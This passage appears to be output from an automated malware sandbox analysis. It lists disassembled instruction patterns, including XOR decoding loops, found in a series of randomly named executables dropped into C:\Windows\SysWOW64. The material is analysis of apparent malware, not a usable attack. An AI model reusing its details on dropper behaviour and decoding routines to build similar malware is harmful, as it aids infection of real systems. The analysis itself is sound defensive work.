Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then xchg eax, ecx	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then add eax, edi	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then loop 00403B3Eh	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then mov eax, 0042A000h	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then mov ebx, 0042CD70h	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then sub ecx, eax	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then xor edx, edx	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then push eax	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then div edi	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then xchg eax, ecx	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then add eax, edi	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then loop 00403B9Eh	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then popad	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then xchg eax, ecx	5_2_0042E0A0
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then add eax, edi	5_2_0042E0A0
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then je 00403A1Ch	5_2_004039CE
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	5_2_004039CE
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then inc eax	5_2_004039CE
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then jne 004039F2h	5_2_004039CE
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then mov eax, 0042A000h	5_2_004039CE
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then je 00403A52h	5_2_004039CE
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	5_2_004039CE
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then add eax, 04h	5_2_004039CE
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then jne 00403A3Ah	5_2_004039CE
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then popad	5_2_004039CE
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	6_2_00403A6B
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then add ebx, 04h	6_2_00403A6B
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then jl 00403A8Fh	6_2_00403A6B
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then add eax, 0Ch	6_2_00403A6B
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then popad	6_2_00403A6B
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then mov ebx, 00407EF8h	6_2_0042E000
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then sub ecx, eax	6_2_0042E000
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then push eax	6_2_0042E000
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then popad	6_2_0042E000
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then pop edi	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then mov ebx, 00407EF8h	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then sub ecx, eax	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then xor edx, edx	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then push eax	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then div edi	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then xchg eax, ecx	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then add eax, edi	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then loop 00403B3Eh	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then mov eax, 0042A000h	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then mov ebx, 0042CD70h	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then sub ecx, eax	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then xor edx, edx	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then push eax	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then div edi	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then xchg eax, ecx	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then add eax, edi	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then loop 00403B9Eh	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then popad	6_2_00403AC7
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then je 00403A1Ch	6_2_004039CE
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then xor dword ptr [eax], ecx	6_2_004039CE
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then inc eax	6_2_004039CE
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then jne 004039F2h	6_2_004039CE
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then mov eax, 0042A000h	6_2_004039CE
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then je 00403A52h	6_2_004039CE
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then xor dword ptr [eax], ecx	6_2_004039CE
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then add eax, 04h	6_2_004039CE
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then jne 00403A3Ah	6_2_004039CE
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 4x nop then popad	6_2_004039CE
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	7_2_00403A6B
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then add ebx, 04h	7_2_00403A6B
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then jl 00403A8Fh	7_2_00403A6B
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then add eax, 0Ch	7_2_00403A6B
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then popad	7_2_00403A6B
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	7_2_0042E00C
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then mov edx, dword ptr [eax+08h]	7_2_0042E00C
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then add ebx, 04h	7_2_0042E00C
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then jne 0042E01Eh	7_2_0042E00C
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then pop edi	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then mov ebx, 00407EF8h	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then sub ecx, eax	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then xor edx, edx	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then push eax	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then div edi	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then xchg eax, ecx	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then add eax, edi	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then loop 00403B3Eh	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then mov eax, 0042A000h	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then mov ebx, 0042CD70h	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then sub ecx, eax	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then xor edx, edx	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then push eax	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then div edi	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then xchg eax, ecx	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then add eax, edi	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then loop 00403B9Eh	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then popad	7_2_00403AC7
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then je 00403A1Ch	7_2_004039CE
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	7_2_004039CE
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then inc eax	7_2_004039CE
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then jne 004039F2h	7_2_004039CE
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then mov eax, 0042A000h	7_2_004039CE
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then je 00403A52h	7_2_004039CE
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	7_2_004039CE
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then add eax, 04h	7_2_004039CE
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then jne 00403A3Ah	7_2_004039CE
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 4x nop then popad	7_2_004039CE
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	8_2_00403A6B
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then add ebx, 04h	8_2_00403A6B
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then jl 00403A8Fh	8_2_00403A6B
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then add eax, 0Ch	8_2_00403A6B
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then popad	8_2_00403A6B
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then pushad	8_2_0042E000
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	8_2_0042E000
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then jne 0042E024h	8_2_0042E000
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then test eax, eax	8_2_0042E000
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then je 0042E084h	8_2_0042E000
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	8_2_0042E000
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then pop edi	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then mov ebx, 00407EF8h	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then sub ecx, eax	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then xor edx, edx	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then push eax	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then div edi	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then xchg eax, ecx	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then add eax, edi	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then loop 00403B3Eh	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then mov eax, 0042A000h	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then mov ebx, 0042CD70h	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then sub ecx, eax	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then xor edx, edx	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then push eax	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then div edi	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then xchg eax, ecx	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then add eax, edi	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then loop 00403B9Eh	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then popad	8_2_00403AC7
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then popad	8_2_0042E09D
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then je 00403A1Ch	8_2_004039CE
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	8_2_004039CE
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then inc eax	8_2_004039CE
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then jne 004039F2h	8_2_004039CE
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then mov eax, 0042A000h	8_2_004039CE
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then je 00403A52h	8_2_004039CE
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	8_2_004039CE
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then add eax, 04h	8_2_004039CE
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then jne 00403A3Ah	8_2_004039CE
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 4x nop then popad	8_2_004039CE
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	9_2_00403A6B
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then add ebx, 04h	9_2_00403A6B
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then jl 00403A8Fh	9_2_00403A6B
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then add eax, 0Ch	9_2_00403A6B
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then popad	9_2_00403A6B
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then div edi	9_2_0042E000
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then xchg eax, ecx	9_2_0042E000
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then cmp eax, 00000000h	9_2_0042E000
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then mov ebx, 0042CD70h	9_2_0042E000
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then popad	9_2_0042E000
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then jmp 00401219h	9_2_0042E000
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then pop edi	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then mov ebx, 00407EF8h	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then sub ecx, eax	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then xor edx, edx	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then push eax	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then div edi	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then xchg eax, ecx	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then add eax, edi	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then loop 00403B3Eh	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then mov eax, 0042A000h	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then mov ebx, 0042CD70h	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then sub ecx, eax	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then xor edx, edx	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then push eax	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then div edi	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then xchg eax, ecx	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then add eax, edi	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then loop 00403B9Eh	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then popad	9_2_00403AC7
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then je 00403A1Ch	9_2_004039CE
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then xor dword ptr [eax], ecx	9_2_004039CE
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then inc eax	9_2_004039CE
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then jne 004039F2h	9_2_004039CE
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then mov eax, 0042A000h	9_2_004039CE
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then je 00403A52h	9_2_004039CE
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then xor dword ptr [eax], ecx	9_2_004039CE
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then add eax, 04h	9_2_004039CE
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then jne 00403A3Ah	9_2_004039CE
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 4x nop then popad	9_2_004039CE
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	10_2_00403A6B
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then add ebx, 04h	10_2_00403A6B
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then jl 00403A8Fh	10_2_00403A6B
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then add eax, 0Ch	10_2_00403A6B
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then popad	10_2_00403A6B
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then add eax, 00403AC5h	10_2_0042E00C
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then mov ebx, dword ptr [eax]	10_2_0042E00C
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then add eax, 0Ch	10_2_0042E00C
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then pop edi	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then mov ebx, 00407EF8h	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then sub ecx, eax	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then xor edx, edx	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then push eax	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then div edi	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then xchg eax, ecx	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then add eax, edi	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then loop 00403B3Eh	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then mov eax, 0042A000h	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then mov ebx, 0042CD70h	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then sub ecx, eax	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then xor edx, edx	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then push eax	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then div edi	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then xchg eax, ecx	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then add eax, edi	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then loop 00403B9Eh	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then popad	10_2_00403AC7
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then je 00403A1Ch	10_2_004039CE
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then xor dword ptr [eax], ecx	10_2_004039CE
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then inc eax	10_2_004039CE
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then jne 004039F2h	10_2_004039CE
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then mov eax, 0042A000h	10_2_004039CE
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then je 00403A52h	10_2_004039CE
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then xor dword ptr [eax], ecx	10_2_004039CE
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then add eax, 04h	10_2_004039CE
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then jne 00403A3Ah	10_2_004039CE
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 4x nop then popad	10_2_004039CE
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	11_2_00403A6B
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then add ebx, 04h	11_2_00403A6B
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then jl 00403A8Fh	11_2_00403A6B
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then add eax, 0Ch	11_2_00403A6B
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then popad	11_2_00403A6B
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then call 0042E00Ch	11_2_0042E000
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then pop eax	11_2_0042E00C
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then mov edx, dword ptr [eax+08h]	11_2_0042E00C
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then cmp dword ptr [eax], 00000000h	11_2_0042E00C
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then popad	11_2_0042E00C
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then pop edi	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then mov ebx, 00407EF8h	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then sub ecx, eax	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then xor edx, edx	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then push eax	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then div edi	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then xchg eax, ecx	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then add eax, edi	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then loop 00403B3Eh	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then mov eax, 0042A000h	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then mov ebx, 0042CD70h	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then sub ecx, eax	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then xor edx, edx	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then push eax	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then div edi	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then xchg eax, ecx	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then add eax, edi	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then loop 00403B9Eh	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then popad	11_2_00403AC7
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then je 00403A1Ch	11_2_004039CE
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then xor dword ptr [eax], ecx	11_2_004039CE
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then inc eax	11_2_004039CE
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then jne 004039F2h	11_2_004039CE
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then mov eax, 0042A000h	11_2_004039CE
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then je 00403A52h	11_2_004039CE
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then xor dword ptr [eax], ecx	11_2_004039CE
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then add eax, 04h	11_2_004039CE
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then jne 00403A3Ah	11_2_004039CE
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 4x nop then popad	11_2_004039CE
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	12_2_00403A6B
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then add ebx, 04h	12_2_00403A6B
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then jl 00403A8Fh	12_2_00403A6B
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then add eax, 0Ch	12_2_00403A6B
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then popad	12_2_00403A6B
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then mov ecx, ebx	12_2_0042E000
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then push eax	12_2_0042E000
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 4x nop then mov esi, 679D3F73h	12_2_0042E000
